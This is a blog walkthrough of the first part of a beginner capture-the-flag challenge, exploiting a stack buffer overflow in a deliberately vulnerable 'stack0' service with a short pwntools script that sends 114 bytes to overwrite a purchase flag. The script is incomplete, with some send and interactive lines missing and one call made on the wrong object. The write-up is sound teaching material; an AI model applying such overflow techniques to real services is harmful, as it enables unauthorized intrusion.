sharedRoutine iOS Developer     About     Contact     Projects

CTF Challenge - Part 1

This is the first part of completing c0deh4cker’s CTF challenge.

Here is some informative text taken from c0deh4cker’s ctf challenge website:

This challenge is intended to be a beginner's exploitation challenge.

It is a simple stack-based buffer overflow vulnerability, and the executable is
compiled without any vulnerability mitigations (ie there are no stack cookies and
the stack is executable).

To connect to this challenge, run the following:

nc 32101

This will connect you to the challenge running on my server.

There are two flags to be gained from this challenge:
1) Trick the program into thinking you purchased it.
2) Get a shell and read the second flag file.

Part 2 will require exploiting the service and getting a shell. The challenge
harness redirects all standard IO streams to the connected socket, so just
executing /bin/sh is good enough (ie no need to connect back to yourself). This
way, you don't have to open ports on your router or use a server.

I highly recommend downloading the challenge binary and running it on a local
linux system. Just remember to create a user named "ctf_stack0" and to run this program
as root (it needs root at first in order to prevent the server from being killed).
That way it can be run in a debugger (I suggest using gdb-peda for this).

Also, please be aware that because I use this server for other things besides running CTF
challenges, I have firewall rules enabled that will among other things prevent you from
using a TCP listener shell or a reverse-TCP connect back shell, so either use stdin and stdout for c

Good luck!

With that being said, let’s get started!


  • GDB (Gnu Debugger)
  • Linux (either i386 or x64 for debugging, OS X works as well however GDB is not really supported anymore)
  • Gallopsled’s pwntools (optionally, useful for exploit script, I’ll use it in this tutorial)

Step 1: Looking at the source code

You can find the source code for stack0 here. Scroll down to the handle_connection function and take a look at the local variables:

  • char txt[64];
  • bool didPurchase = false;
  • char input[50];

Each of them is pushed onto the stack

Basic Stack structure

Top of stack
char input[50];
bool didPurchase = false;
char txt[64];
Saved frame pointer
Return address of function
Argument 1 (int sock)

Actually gcc (the compiler) sometimes rearranges stack items as you can see in the following screenshot

stack view of stack0 program

s stands for “saved frame pointer” and r stands for “return address”

So basically if you overflow the input buffer + txt buffer you get to the didPurchase variable in the stack. Doing the math turns out that sending 114 (50 + 64) bytes will overflow the buffer and overwrite didPurchase. Booleans are considered to be true if they are nonzero, so overwriting it with an A (0x41) makes it true.

As a test we will write a small python script making use of Gallopsled’s pwntools.

First let’s import some modules, set the context and define some variables

# import pwntools
from pwn import *
context(arch = 'i386', os = 'linux')

# define variables for our target and port
target = ""
port = 32101

Now we need to connect to our target:port and send our payload

r = remote(target,port)

# create a payload consisting of 114 A's (pretty simple)
payload = "A" * 114

# receive until we can input our payload
print(remote.recvuntil("this program: "))

# send payload as a line
print("Buffer overflow!\n")

# open an interactive tube so we can read / write

This snippet will connect to our specified target and port and simply sends 114 A’s to try and overflow the buffers (input+txt).

Running this code results in this:

[+] Opening connection to on port 32101: Done

Debug info: Address of input buffer = 0xff98128d
Enter the name you used to purchase this program:
Buffer overflow!

[i] Switching to interactive mode
Thank you for purchasing Hackersoft Powersploit!
Here is your first flag:
[i] Got EOF while reading in interactive

As you can see we got the first flag by overflowing the buffers. Quite simple right?